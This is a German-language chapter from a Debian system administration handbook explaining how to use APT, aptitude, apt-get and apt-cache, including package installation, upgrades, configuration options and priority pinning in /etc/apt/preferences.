APT ist ein gewaltiges Projekt, dessen ursprünglicher Entwurf eine graphische Schnittstelle vorsah. Es basiert auf einer Bibliothek, die die Kernanwendung enthält und apt-get war die erste Schnittstelle – befehlszeilenbasiert – die innerhalb des Projekts entwickelt wurde.

Eine Vielzahl anderer graphischer Schnittstelle erschienen im Anschluss als externe Projekte: synaptic, aptitude (das sowohl eine Schnittstelle im Textmodus wie eine graphische – wenn auch noch unvollständig – beinhaltet), wajig, usw. Die meistempfohlene Schnittstelle, aptitude, ist diejenige, die während der Debian-Installation verwendet wird. Weil ihre Befehlszeilen-Syntax der von apt-get sehr ähnlich ist, fokussieren wir uns bei den in diesem Abschnitt präsentierten Beispielen auf aptitude. Wenn es größere Unterschiede zwischen aptitude und apt-get gibt, werden diese Unterschiede im Detail erläutert.

6.2.1. Initialisierung

Bei jeder Verwendung von APT muss die Liste der verfügbaren Pakete aktualisiert werden; dies kann mit einem einfachen aptitude update erledigt werden. Abhängig von der Geschwindigkeit Ihrer Internetverbindung kann diese Operation eine Weile dauern, da dies bedeutet, eine gewisse Zahl von Packages.(gz|bz2) oder Sources.(gz|bz2) Dateien herunterzuladen, die mit der Entwicklung von Debian nach und nach größer und größer wurden (mehr als 8MB für die größte Packages.gz – aus dem Abschnitt main). Selbstverständlich erfordert die Installation von einem CD-ROM Satz keinerlei Herunterladen – in diesem Fall ist die Operation sehr schnell.

6.2.2. Installieren und Entfernen

Mit APT können Pakete dem System hinzugefügt oder entfernt werden, genauer mit aptitude install Paket und aptitude remove Paket. In beiden Fällen installiert APT automatisch die nötigen Abhängigkeiten oder löscht die Pakete, die von dem zu entfernenden Paket abhängen. Mit den Befehlen aptitude purge Paket oder apt-get purge Paket ist eine vollständige Deinstallation verbunden – auch die Konfigurationsdateien werden gelöscht.

TIPP Die gleiche Paketauswahl mehrfach installieren

Manchmal ist es wünschenswert, die gleiche Paketauswahl auf mehreren Computern zu installieren. Das ist sehr einfach möglich.

Zuerst erzeugen Sie eine Liste der installierten Pakte auf dem Computer, der als "Kopiervorlage" dient.

$ dpkg --get-selections >pkg-list

Die Datei pkg-list enthält die Liste der installierten Pakete. Als Nächstes übertragen Sie die Datei pkg-list auf die zu aktualisierenden Rechner und geben dort die folgenden Befehle ein:

# dpkg --set-selections <pkg-list # apt-get dselect-upgrade

Der erste Befehl wählt die zu installierenden Pakete aus. Danach führt der Aufruf von apt-get die Operation aus. aptitude hat diese Möglichkeit nicht.

TIPP Gleichzeitig entfernen und installieren in einem Durchgang

Es ist möglich, mit derselben Befehlszeile aptitude (oder apt-get) anzuweisen, gewisse Pakete zu installieren und andere Pakete zu entfernen, indem ein Vorzeichen angefügt wird. Hängen Sie beim Befehl aptitude install „-“ den Namen der Pakete, die Sie entfernen wollen, an. Beim Befehl aptitude remove hängen Sie den Namen der Pakete, die Sie installieren wollen, ein „+ an.

Das nächste Bespiel zeigt zwei verschiedene Wege, Paket1 zu installieren und Paket2 zu entfernen.

# aptitude install package1 package2- [...] # aptitude remove package1+ package2 [...]

TIPP apt-get --reinstall und aptitude reinstall

Das Entfernen oder Verändern von Dateien aus einem Paket kann das System manchmal beschädigen. Die einfachste Art, diese Dateien wieder zu bekommen, ist, das betroffene Paket erneut zu installieren. Unglücklicherweise stellt das Paketierungssystem fest, dass das Paket bereits installiert ist, und weigert sich höflich, es erneut zu installieren; um dies zu vermeiden, benutzen Sie die Option --reinstall des Befehls apt-get. Der folgende Befehl installiert das Paket postfix erneut, selbst falls es bereits vorhanden ist:

# apt-get --reinstall install postfix

Die Syntax von aptitude ist ein wenig anders, erzielt aber dasselbe Ergebnis mit aptitude reinstall postfix.

Das Problem tritt bei dpkg nicht auf, jedoch wird es selten direkt durch den Administrator genutzt.

Seien Sie vorsichtig: Das Benutzen von apt-get --reinstall um Pakete wiederherzustellen, die während eines Angriffs verändert wurden, ist nicht ausreichend das System so wieder her zu stellen, wie es war. Section 14.6, “Umgang mit einem kompromittierten Rechner” beschreibt die bei einem gehackten zu unternehmenden Schritte im Detail.

Falls die Datei sources.list mehrere Distributionen enthält, ist es möglich, die Version des zu installierenden Pakets anzugeben. Eine bestimmte Versionsnummer kann mit aptitude install paket=version angefordert werden, aber die Angabe ihrer Urspungsdistribution (Stable, Testing oder Unstable) – mit aptitude install paket/distribution – wird für gewöhnlich bevorzugt. Mit diesem Befehl ist es möglich, zu einer älteren Paketversion zurückzukehren (falls Sie zum Beispiel wissen, dass sie gut funktioniert), vorausgesetzt sie ist noch in einer der von der Datei sources.list genannten Quellen verfügbar. Ansonsten kann das Archiv snapshot.debian.org zu Hilfe kommen (siehe die Seitenleiste WEITERE SCHRITTE Alte Paketversionen: snapshot.debian.org).

Example 6.2. Installation der unstable Version von spamassassin

# aptitude install spamassassin/unstable

NÄCHSTE SCHRITTE Der Zwischenspeicher für .deb Dateien

APT behält eine Kopie jeder heruntergeladenen .deb-Datei im Verzeichnis /var/cache/apt/archives. Im Falle häufiger Aktualisierungen kann dieses Verzeichnis schnell eine Menge Festplattenspeicherplatz durch verschiedene Paketversionen einnehmen; Sie sollten das Verzeichnis regelmäßig aufräumen. Zwei Befehle können verwendet werden: aptitude clean leert das Verzeichnis vollständig; aptitude autoclean entfernt nur die Pakete, die nicht mehr heruntergeladen werden können (weil sie vom Debian-Spiegelserver verschwunden sind) und deshalb eindeutig nutzlos sind (der Konfigurationsparameter APT::Clean-Installed kann das Entfernen von .deb-Dateien verhindern, die gegenwärtig installiert sind).

6.2.3. Das System aktualisieren

Regelmäßige Aktualisierungen werden empfohlen, weil sie die neuesten Sicherheitsupdates beinhalten. Zum Aktualisieren benutzen Sie aptitude safe-upgrade oder apt-get upgrade (natürlich nach aptitude update). Dieser Befehl sucht nach Paketen, die aktualisiert werden können, ohne andere Pakete zu entfernen. Mit anderen Worten: Das Ziel ist es, eine minimal invasive Aktualisierung sicher zu stellen. apt-get ist ein wenig anspruchsvoller, weil es sich weigert, Pakete zu installieren, die zuvor nicht installiert waren.

TIPP Inkrementelle Aktualisierung

Wie weiter oben erklärt, ist das Ziel von aptitude update, von jeder Paketquelle die jeweilige Packages- (oder Sources--) Datei herunter zu laden. Allerdings können diese Dateien selbst nach dem Komprimieren mit bzip2 recht groß bleiben (die Packages.bz2 für den Abschnitt main von Squeeze ist größer als 8 MB). Falls Sie regelmäßig aktualisieren wollen, kann das Herunterladen viel Zeit in Anspruch nehmen.

Eine „neue Fähigkeit“ von APT (verfügbar seit Etch) ist, nur die Änderungen seit der vorigen Aktualisierung herunter laden zu können. Um dies zu erreichen, verteilen offizielle Spiegelserver von Debian verschiedene Dateien, die die Unterschiede zwischen einer Version der Packages-Datei und der folgenden Version auflisten. Sie werden bei jeder Aktualisierung der Archive erzeugt, und ein Verlauf von einer Woche wird vorgehalten. Jede dieser „Diff“-Dateien für Unstable ist nur ein paar Dutzend Kilobytes groß, sodass die Datenmenge eines wöchentlichen aptitude update oft nur ein Zehntel der Gesamtdateigröße beträgt. Für Distributionen wie Stable und Testing mit weniger Änderungen ist der Gewinn noch deutlicher spürbar.

Manchmal jedoch kann es wünschenswert sein, das Herunterladen der gesamten Packages.bz2-Datei zu erzwingen, besonders wenn die letzte Aktualisierung lange zurück liegt oder die Gesamtgröße der inkrementellen Differenz-Dateien nur wenig geringer ist. Dies kann auch interessant sein, wenn der Netzwerkzugriff sehr schnell aber der Prozessor der zu aktualisierenden Maschine ziemlich langsam ist, weil das Herunterladen schneller geht, als wiederholt die neue Version dieser Dateien zu berechnen (immer wieder die Unterschiede der jeweils ältesten Differenz-Datei auf die Paketliste anzuwenden). Dazu setzen Sie den Konfigurationsparameter Acquire::Pdiff verwenden auf false.

aptitude wählt grundsätzlich die neueste Versionsnummer aus (außer bei Paketen aus Experimental, die standardmäßig ignoriert werden, unabhängig von ihrer Versionsnummer). Falls Sie in Ihrer sources.list Testing oder Unstable angegeben haben, wird aptitude safe-upgrade den größten Teil Ihres Stable-Systems auf Testing oder Unstable umstellen, was möglicherweise nicht Ihre Absicht war.

Um aptitude in einer bestimmten Distribution nach aktualisierten Paketen suchen zu lassen, benutzen Sie die Option -t oder --target-release gefolgt vom Namen der gewünschten Distribution (zum Beispiel: aptitude -t stable safe-upgrade). Um das Angeben dieser Option bei jedem Aufruf von aptitude zu vermeiden, können Sie APT::Default-Release "stable"; der Datei /etc/apt/apt.conf.d/local hinzufügen.

Für wichtigere Aktualisierungen, wie den Übergang von einer Debian-Hauptversion zur nächsten, müssen Sie aptitude full-upgrade benutzen (die Option hieß früher dist-upgrade für „Distributions-Upgrade“). Mit dieser Anweisung vollzieht aptitude die Aktualisierung selbst dann, wenn es einige veraltete Pakete entfernen oder neue Abhängigkeiten installieren muss. Dies ist ebenso der Befehl, den Benutzer verwenden, die täglich mit Debians Unstable-Veröffentlichung arbeiten und deren Entwicklung tagtäglich verfolgen. Es ist so einfach, dass es kaum einer Erklärung bedarf: APTs Ansehen begründet sich in seiner großartigen Funktionalität.

aptitude dist-upgrade ist immer noch als Synonym für aptitude full-upgrade verfügbar; apt-get kennt nur das erstere.

6.2.4. Konfigurationsoptionen

Neben den bereits erwähnten Konfigurationselementen ist es möglich, bestimmte Verhaltensweisen von APT durch das Hinzufügen von Vorschriften in einer Datei im Verzeichnis /etc/apt/apt.conf.d/ festzulegen. Erinnern Sie sich beispielsweise daran, dass es APT möglich ist, dpkg anzuweisen, durch Dateikonflikte hervorgerufene Fehler zu ignorieren, indem Sie DPkg::Options { "--force-overwrite"; } angeben.

Falls auf das Web nur über einen Web-Proxy zugegriffen werden kann, fügen Sie eine Zeile wie Acquire::http::proxy "http://IhrProxy:3128" hinzu. Für einen FTP-Proxy schreiben Sie Acquire::ftp::proxy "ftp://IhrProxy". Um mehr über die Konfigurationsoptionen heraus zu finden, lesen Sie die Handbuchseite apt.conf(5) mit dem Befehl man apt.conf (für Einzelheiten zu Handbuchseiten siehe nächstes Kapitel).

ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse

Verzeichnisse mit angehängtem .d werden immer häufiger benutzt. Jedes Verzeichnis steht für eine Konfigurationsdatei, die auf mehrere Dateien aufgeteilt ist. In diesem Sinne sind alle Dateien in /etc/apt/apt.conf.d Anweisungen für die Konfiguration von APT. APT bezieht sie in alphabetischer Reihenfolge ein, so dass Anweisungen aus den weiter hinten stehenden Dateien bereits zuvor definierte Konfigurationselemente verändern können.

Diese Struktur gibt dem Administrator der Maschine und den Paket-Betreuern einiges an Flexibilität. Tatsächlich kann der Administrator die Konfiguration der Software verändern, indem er dem fraglichen Verzeichnis eine ein gebrauchsfertige Datei hinzufügt, ohne eine bestehende Datei verändern zu müssen. Paket-Betreuer nutzen denselben Ansatz, wenn sie die Konfiguration einer anderen Software anpassen müssen, um sicher zu stellen, dass beide Konfigurationen friedlich koexistieren können. Die Debian-Richtlinien (policy) verbieten jedoch ausdrücklich das Verändern von Konfigurationsdateien anderer Pakete, nur den Anwendern wird dieses gestattet. Erinnern Sie sich, dass während einer Paketaktualisierung der Benutzer eine Auswahlmöglichkeit erhält, welche Version der Konfigurationsdatei benutzt werden soll, falls eine lokale Veränderung erkannt wird. Jede fremde Änderung würde eine solche Abfrage auslösen, zur Verwirrung des Administrators, der sich sicher ist, nichts verändert zu haben.

Ohne ein .d-Verzeichnis ist es einem fremden Paket unmöglich, die Einstellungen eines Programms zu verändern, ohne dessen Konfigurationsdatei zu verändern. Stattdessen muss es den Benutzer in der Datei /usr/share/doc/paket/README.Debian auffordern, dies selbst zu tun und die dazu nötigen Schritte auflisten.

Abhängig von der Anwendung wird das .d-Verzeichnis direkt benutzt oder von einem externen Skript verwaltet, welches alle Dateien zu der eigentlichen Konfigurationsdatei zusammenfügt. Wichtig ist, dieses Skript nach jeder Änderung in dem Verzeichnis auszuführen, so dass die jüngsten Änderungen angewendet werden. Ebenso wichtig ist es, die automatisch erzeugte Konfigurationsdatei nicht direkt zu bearbeiten, weil alle manuellen Änderungen bei der nächsten Ausführung des Skripts verloren gehen. Die Wahl der Methode (das .d-Verzeichnis direkt zu nutzen oder eine aus dem Verzeichnis generierte Datei) erfolgt üblicherweise abhängig von den Rahmenbedingungen bei der Entwicklung, in beiden Fällen aber macht der Gewinn an Konfigurationsflexibilität die kleinen Komplikationen, die sie mit sich bringen, mehr als wett. Der Mailserver Exim4 ist ein Beispiel für die Methode der generierten Datei: Er kann durch mehrere Dateien (/etc/exim4/conf.d/*) konfiguriert werden, die vom Befehl update-exim4.conf zu /var/lib/exim4/config.autogenerated verknüpft werden.

6.2.5. Paketprioritäten verwalten

Einer der wichtigsten Aspekte bei der Konfiguration von APT ist die Verwaltung der Prioritäten, die jeder Paketquelle zugeordnet sind. Möchten Sie zum Beispiel eine stabile Distribution durch ein oder zwei neuere Pakete aus Testing, Unstable oder Experimental erweitern? Es ist möglich, jedem verfügbaren Paket eine Priorität zuzuweisen (dasselbe Paket kann mehrere Prioritäten haben, abhängig von seiner Version oder der Distribution, in der es vorkommt). Diese Prioritäten beeinflussen APTs Verhalten: Für jedes Paket wird die Version mit der höchsten Priorität ausgewählt (außer wenn diese Version älter ist, als die installierte und wenn ihre Priorität geringer als 1000 ist).

APT definiert verschiedene Standard-Prioritäten. Jede installierte Paketversion hat die Priorität 100. Eine nicht installierte Version erhält standardmäßig die Priorität 500, diese kann aber auf 990 angehoben werden, falls sie Teil der Ziel-Veröffentlichung ist (diese wird durch die Befehlszeilenoption -t oder die Konfigurationsanweisung APT::Target-Release festgelegt).

Sie können die Prioritäten ändern, indem Sie der Datei /etc/apt/preferences Einträge mit den Namen der betroffenen Pakete, ihrer Version und Herkunft, sowie ihrer neuen Priorität hinzufügen.

APT installiert keine ältere Version eines Pakets (das heißt, ein Paket, dessen Versionsnummer niedriger ist als die des gegenwärtig installierten Paketes), außer wenn deren Priorität höher als 1000 ist. APT installiert immer das Paket mit der höchsten Priorität, das dieser Bedingung entspricht. Falls zwei Pakete dieselbe Priorität haben, installiert APT das neuere (das, mit der höheren Versionsnummer). Falls zwei Pakete mit der derselben Version und derselben Priorität, unterschiedlichen Inhalt haben, installiert APT die Version, die nicht installiert ist. (Diese Regel wurde entworfen, um den Fall einer Paket-Aktualisierung ohne die eigentlich nötige Erhöhung der Revisionsnummer abzudecken.)

Konkret wird ein Paket mit einer Priorität kleiner als 0 niemals installiert. Ein Paket mit einer Priorität zwischen 0 und 100 wird nur dann installiert, wenn keine andere Version des Pakets bereits installiert ist. Bei einer Priorität zwischen 100 und 500 wird das Paket nur dann installiert, wenn keine neuere Version installiert oder in einer anderen Distribution verfügbar ist. Zwischen einer Priorität von 500 und 990 wird ein Paket nur dann installiert, wenn keine neuere Version installiert oder in der Zieldistribution verfügbar ist. Liegt die Priorität zwischen 990 und 1000 wird das Paket nur dann installiert, wenn keine neuere Version installiert ist. Mit einer Priorität größer 1000 wird das Paket in jedem Fall installiert, selbst wenn dies APT zu einem Downgrade auf eine ältere Version zwingt.

Wenn APT /etc/apt/preferences prüft, betrachtet es zuerst die spezifischsten Einträge (oftmals die Einträge, die das betreffende Paket beschreiben) und die allgemeineren (dies beinhaltet beispielsweise alle Pakete einer Distribution). Wenn mehrere allgemeine Einträge existieren, wird der erste Treffer genutzt. Die zur Verfügung stehenden Auswahlkriterien umfassen den Paketnamen und die zur Verfügung stellenden Quelle. Jede Paketquelle wird durch die Informationen in einer Release-Datei beschrieben, die APT zusammen mit den Packages.gz-Dateien herunter lädt. Sie umfasst die Herkunft (bei Paketen der offiziellen Spiegel normalerweise "Debian", es können aber auch Personen- oder Organisationsnamen sein, falls es sich um Paketdepots Dritter handelt) und den Distributionsnamen (normalerweise Stable, Testing, Unstable oder Experimental bei den Debian von bereitgestellten Standarddistributionen) zusammen mit der Version (zum Beispiel 5.0 für Debian Lenny). Betrachten wir die Syntax und Mechanismus anhand einiger Praxisbeispiele.

SPEZIFISCHER FALL Priorität von experimental

Auch wenn Sie Experimental zu Ihrer sources.list-Datei hinzugefügt haben, werden die darin enthaltenen Pakete wahrscheinlich niemals installiert, da deren Priorität auf 1 voreingestellt ist. Dabei handelt es sich um eine Sicherheitsvorkehrung, die verhindern soll, dass Anwender Experimental Pakete aus Versehen installieren. Diese Pakete lassen sich nur mittels aptitude install Paket/experimental installieren – Anwender, die diesen Befehl eingeben, müssen sich der Risiken bewusst sein, die sie damit eingehen. Es ist dennoch möglich (wenn auch nicht empfohlen), Pakete aus Experimental wie Pakete anderer Distributionen zu behandeln, indem Sie ihnen eine Priorität von 500 zuweisen. Sie erreichen dies über einen Eintrag in /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Angenommen, Sie wollen nur Pakete aus der stable-Version von Debian verwenden. Pakete anderer Versionen sollen nicht installiert werden, es sei denn, dies wird explizit gewünscht. In dem Falle können Sie folgenden Eintrag in der Datei /etc/apt/preferences vornehmen:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable bestimmt den Namen der ausgewählten Distribution. o=Debian beschränkt den Umfang auf Pakete mit der Herkunft "Debian".

Lassen Sie uns nun annehmen, die besäßen einen Server mit lokalen Programmen, die Perl in der Version 5.10 benötigen und Sie wollen sicherstellen, das Aktualisierungen keine neuere Version installieren. Sie könnten folgenden Eintrag benutzen:

Package: perl Pin: version 5.10* Pin-Priority: 1001

Die Referenzdokumentation für diese Konfigurationsdatei finden Sie auf der Handbuchseite apt_preferences(5), die Sie mit man apt_preferences anzeigen lassen können.

TIPP Kommentare in /etc/apt/preferences

Es existiert keine offzielle Syntax für Kommentare in der /etc/apt/preferences Datei, aber Beschreibungen lassen sich mittels einer oder mehrerer “Explanation” Felder zu Beginn jedes Eintrags einfügen:

Explanation: The package xserver-xorg-video-intel provided Explanation: in experimental can be used safely Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Mit mehreren Distributionen arbeiten

aptitude ist ein so hervorragendes Werkzeug, dass es geradezu dazu herausfordert, Pakete aus unterschiedlichen Distributionen zu nutzen. Beispielsweise könnten Sie nach der Installation eines Stable-Systems ein in Testing oder Unstable verfügbares Paket ausprobieren, ohne zu sehr vom Ursprungszustand Ihres Systems abzuweichen.

Selbst wenn Sie beim Mischen von Paketen aus unterschiedlichen Distributionen gelegentlich auf Probleme stossen sollten, aptitude verwaltet ein solches Nebeneinander sehr gut und beschränkt die Risiken sehr effektiv. Die beste Vorgehensweise ist, alle benutzten Distributionen in /etc/apt/sources.list einzutragen (es gibt Leute, die immer alle drei Distributionen eintragen, aber beachten Sie, dass Unstable nur für erfahrene Anwender vorgesehen ist) und die Referenzdistribution mit dem APT::Default-Release Parameter fest zu legen (siehe Section 6.2.3, “Das System aktualisieren”).

Nehmen wir einmal an, Stable sei Ihre Referenzdistribution aber Testing und Unstable seien auch in Ihrer sources.list-Datei gelistet. In diesem Fall können Sie aptitude install package/testing nutzen, um ein Paket aus Testing zu installieren. Sollte die Installation auf Grund von nicht auflösbaren Abhängigkeiten scheitern, lassen sich diese Abhängigkeiten in Testing durch Angabe des -t testing Parameters lösen. Dies gilt gleichermassen für Unstable.

In dieser Situation werden Aktualisierungen (safe-upgrade und dist-upgrade) in Stable vorgenommen, ausgenommen Pakete, die bereits auf eine andere Distribution aktualisiert wurden: Diese folgen den Aktualisierungen der anderen Distributionen. Wir erklären dieses Verhalten mit Hilfe der von APT gesetzten Standardprioritäten weiter unten. Benutzen Sie apt-cache policy (siehe Seitenleiste), um die gesetzten Prioritäten zu überprüfen.

Alles beruht auf der Tatsache, dass APT nur Pakete gleich oder höher der installierten Version in Betracht zieht (unter der Annahme das /etc/apt/preferences für kein Paket eine Priorität größer als 1000 erzwingt).

TIPP apt-cache policy

Zögern Sie nicht, sich die mit einer Paketquelle verbundenen Standardprioritäten mittels apt-cache policy anzeigen zu lassen, um ein besseres Verständnis des Prioritäten-Mechanismus zu gewinnen. Sie können ebenfalls apt-cache policy Paket verwenden, um sich die Prioritäten aller verfügbaren Versionen eines gegebenen Paketes anzeigen zu lassen.

Lassen Sie uns annehmen, Sie hätten Version 1 eines ersten Pakets aus Stable installiert und Version 2 und 3 wären in Testing bzw. in Unstable verfügbar. Die installierte Version hat eine Priorität von 100 aber die Version aus Stable (genau die gleiche) hat eine Priorität von 990 (weil sie Bestandteil der Zieldistribution ist). Pakete in Testing und Unstable haben eine Priorität von 500 (die Standardpriorität einer nicht installierten Version). Der Gewinner ist daher die Version 1 mit der Priorität 990. Das Paket "bleibt in Stable”.

Nehmen wir ein anderes Beispiel: Die Version 2 eines Pakets wurde aus Testing installiert. Version 1 ist in Stable verfügbar und Version 3 in Unstable. Version 1 (mit der Priorität 990 – also niedriger als 1000) wird verworfen, da die Versionsnummer geringer als die der installierten Version ist. Bleiben nur Version 2 und 3, beide mit einer Priorität von 500. Mit dieser Alternative konfrontiert, wählt APT die neueste Version aus, die Version aus Unstable. Wenn Sie nicht wollen, das ein installiertes Paket aus Testing nach Unstable migriert, müssen Sie Paketen aus Unstable eine Priorität kleiner als 500 (490 zum Beispiel) zuweisen. Dazu können Sie /etc/apt/preferences anpassen:

Package: * Pin: release a=unstable Pin-Priority: 490

6.3. Der Befehl apt-cache

Der Befehl apt-cache kann viele Informationen aus APTs interner Datenbank anzeigen. Diese Informationen sind eine Art von Zwischenspeicher (Cache), da sie aus verschiedenen, in der Datei sources.list gelisteten, Quellen zusammengetragen wurden. Dies passiert während der aptitude update Operation.

WÖRTERVERZEICHNIS Cache

Ein Cache (Zwischenspeicher) ist ein temporäres Speichersystem, das benutzt wird, um den Zugriff auf häufig genutzte Daten zu beschleunigen, wenn die üblichen Zugriffsmethoden sehr zeitaufwendig sind. Dieses Konzept kann auf vielfältige Situationen und in unterschiedlichen Dimensionen angewendet werden, vom Mikroprozessorkern bis zum High-End Speichersystem.

Im Falle von APT sind die Referenz-Packages Dateien diejenigen, die auf den Debian Spiegelservern liegen. Nichtsdestoweniger wäre es sehr uneffektiv, bei jeder Suche in der Datenbank verfügbarer Pakete über das Netzwerk zu gehen. Darum hält APT lokale Kopien dieser Dateien (in /var/lib/apt/lists/) vor, und führt eine Suche in diesen lokalen Dateien durch. Entsprechend enthält /var/cache/apt/archives/ einen Zwischenspeicher von bereits heruntergeladenen Paketen, damit diese nicht noch einmal heruntergeladen werden müssen, falls sie nach einer Deinstallation erneut installiert werden sollen.

Der Befehl apt-cache kann eine Schlüsselwort-basierte Paketsuche mittels apt-cache search Schlüsselwort durchführen. Ebenso kann er die Kopfzeilen verfügbarer Versionen von Paketen mit apt-cache show Paket anzeigen. Dieser Befehl liefert die Paketbeschreibung, dessen Abhängigkeiten, den Namen des Paket-Maintainers usw. Beachten Sie, dass aptitude search und aptitude show auf gleiche Weise funktionieren.

Einige Merkmale werden seltener genutzt. Zum Beispiel apt-cache policy, das sowohl die Prioritäten von Paketquellen als auch die invidueller Pakete anzeigt. Ein weiteres Beispiel ist apt-cache dumpavail, welches die Kopfzeilen aller verfügbaren Versionen aller Pakete anzeigt. apt-cache pkgnames zeigt eine Liste aller Pakete an, die wenigstens einmal im Cache enthalten sind.

6.4. Benutzeroberflächen: aptitude, synaptic

APT ist ein C++ Programm, dessen Programmcode hauptsächlich in der Laufzeit-Bibliothek libapt-pkg enthalten ist. Die Nutzung einer Laufzeit-Bibliothek vereinfacht die Schaffung von Benutzerschnittstellen (Oberflächen), da der in der Bibliothek enthaltene Code einfach wiederverwendet werden kann. Historisch betrachtet war apt-get nur als Test-Benutzerschnittstelle für libapt-pkg gedacht, aber der Erfolg neigt dazu, diese Tatsache zu verschleiern.

6.4.1. aptitude

aptitude ist ein interaktives Programm, das im Pseudo-Grafikmodus der Console benutzt werden kann. Sie können durch eine Liste der installierten und der verfügbaren Pakete blättern, die verfügbaren Informationen einsehen und Pakete zur Installation oder Deinstallation auswählen. Das Programm wurde für die Nutzung durch Administratoren entworfen, so dass die Standardverhaltensweisen intelligenter als die von apt-get sind und die Oberfläche einfacher zu verstehen ist.

Figure 6.1. Das aptitude Paketverwaltungsprogramm

Nach dem Start zeigt aptitude eine Paketliste, sortiert nach Status (installiert, nicht installiert, installiert aber nicht auf den Spiegelservern verfügbar, andere Anzeigeoptionen, virtuelle Pakete und neue Pakete, die kürzlich auf den Spiegelservern entdeckt wurden). Sie können verschiedene Ansichten nutzen, um die Liste thematisch zu durchsuchen. In jedem Fall zeigt aptitude eine Liste, die Kategorien und Pakete kombiniert. Kategorien sind in einer Baumstruktur organisiert, deren Äste mit den Tastenkombinationen Eingabe, [ und ] auf- und zugeklappt werden können. + wählt ein Paket zur Installation aus, - wählt es zum Entfernen aus und _ zum vollständigen Löschen (Hinweis: Diese Tastenkombinationen können auch auf Kategorien angewendet werden, wobei die jeweilige Aktion dann auf alle Pakete der Kategorie angewendet wird). u aktualisiert die Liste der verfügbaren Pakete und Shift+u bereitet eine globale Systemaktualisierung vor. g wechselt in eine Übersicht der anstehenden Änderungen (ein weiterer Druck auf g führt die Änderungen durch) und q beendet die aktuelle Ansicht. Wenn Sie dies in der initialen Ansicht tun, beendet dies aptitude.

DOKUMENTATION aptitude

Dieser Abschnitt beschäftigt sich nicht mit den Feinheiten der Benutzung von aptitude, stattdessen liegt der Schwerpunkt darin, Ihnen ein "Überlebenspaket" für dessen Benutzung an die Hand zu geben. aptitude ist ziemlich umfassend dokumentiert, deswegen legen wir Ihnen die Nutzung des umfassenden Handbuches, verfügbar unter aptitude-doc-en package.

→ file:///usr/share/doc/aptitude/html/en/index.html

, ans Herz (Anm. d. Übers.: Aktuell leider nicht auf Deutsch verfügbar).

Um nach einem Paket zu suchen, tippen Sie /, gefolgt von einem Suchmuster. Dieses Muster wird mit den Paketnamen verglichen, kann aber auch auf die Beschreibung angewendet werden (durch ein vorangestelltes ~d), auf den Bereich (durch ein vorangestelltes ~s) oder auf ein anderes Kriterium, wie in der Dokumentation genauer beschrieben. Mit den gleichen Mustern können Sie die Liste der angezeigten Pakete filtern: Drücken Sie die l-Taste (wie in limit) und geben Sie das Muster ein.

6.4.1.1. Automatisch installierte Pakete nachverfolgen

Eine der wichtigsten Funktionalitäten von aptitude ist das Verfolgen von Paketen, die nur auf Grund von Abhängigkeiten installiert wurden (diese Funktionalität wurde mit Lenny ebenfalls in apt-get integriert). Diese Pakete werden "automatisch installiert" genannt und werden durch ein "A" in der Paketliste gekennzeichnet – oftmals enthalten sie beispielsweise Bibliotheken. Wenn ein Paket entfernt wird, werden dazugehörende automatisch installierte Pakete ebenfalls zum Entfernen vorgemerkt, es sei denn, andere, nicht automatisch installierte Pakete, hängen ebenfalls von ihnen ab. Es ist möglich, ein Paket als automatisch installiert zu kennzeichnen (mit Shift+m), oder die Kennzeichnung zu entfernen (mit m). Wird ein System mit aptitude verwaltet, ist es eine hilfreiche Gewohnheit, alle Pakete als automatisch zu markieren, die Sie nicht direkt benötigen, damit diese entfernt werden, sobald sie nicht mehr benötigt werden. Sie können entweder durch die Paketliste navigieren und Shift+m benutzen, oder Sie können ganze Bereiche markieren (zum Beispiel libs). Diese Angewohnheit kann Ihnen helfen, Ihr System aufgeräumt zu halten und bietet eine einfache Möglichkeit, die auf dem System benutzten Pakete ohne all die Bibliotheken und Abhängigkeiten anzuzeigen. Das passende Suchmuster dazu ist ~i!~M, das Sie im Filtermodus eingeben, den Sie mit l aktivieren. Es legt fest, dass nur als nicht-automatisch markierte (!~M) installierte l Pakete angezeigt werden.

Manchmal möchte man wissen, warum ein automatisch installiertes Paket installiert wurde. Um auf der Kommandozeile an diese Information zu gelangen, können Sie aptitude why Paket benutzen:

$ aptitude why python-debian i aptitude Recommends apt-xapian-index i A apt-xapian-index Depends python-debian (>= 0.1.15)

NACHVERFOLGENSWERT Jüngste Entwicklungen bei apt-get und aptitude

Einige Vorteile, die aptitude in der Vergangenheit gegenüber apt-get hatte, haben sich kürzlich aufgelöst. Zum Beispiel merkt sich apt-get seit der Veröffentlichung von Lenny die Pakete, die nur zur Auflösung von Abhängigkeiten installiert wurden, genauso wie es aptitude schon immer gemacht hat. Es kann auch den Empfehlungen folgen, die ein Paket für andere Pakete vorschlägt.

Neben anderen Weiterentwicklungen von aptitude befindet sich eine neue Version der grafischen Benutzerschnittstelle in der Entwicklung. Auch wenn diese in Squeeze (im separaten Paket aptitude-gtk) verfügbar ist, ist sie noch nicht vollständig und noch nicht stabil.

PROGRAMM aptitude auf der Befehlszeile nutzen

Die meisten Eigenschaften von aptitude sind sowohl über die interaktive Schnittstelle als auch über die Kommandozeile verfügbar. Diese Kommandos werden regelmäßigen Nutzern von apt-get und apt-cache bekannt vorkommen.

Die fortgeschrittenen Eigenschaften von aptitude sind auch auf der Kommandozeile verfügbar. Sie können die selben Paket-Suchmuster wie in der interaktiven Version nutzen. Wenn Sie beispielsweise eine vorher vorgeschlagene Bereinigung von automatisch installierten Paketen durchführen wollen und Sie wissen, das keines der lokal installieren Programme bestimmte Bibliotheken oder Perl Module benötigt, können Sie diese Pakete mit einem einzigen Kommando als "automatisch installiert" markieren:

# aptitude markauto '~slibs|~sperl'

Hier offenbart sich die Mächtigkeit der Mustersuche von aptitude, durch die es möglich ist, alle Pakete der Sektionen libs und perl gleichzeitig auszuwählen.

Beachten Sie: Wenn Pakete als automatisch markiert sind und kein anderes Paket von ihnen abhängt, werden sie bei der nächsten Gelegenheit (nach einer Rückfrage) entfernt.

ALTERNATIVE deborphan und debfoster

Bevor aptitude, mit seiner Verfolgung automatischer Pakete, ins Leben gerufen wurde, erzeugten zwei Werkzeuge eine Liste nicht benötigter Pakete: deborphan und debfoster.

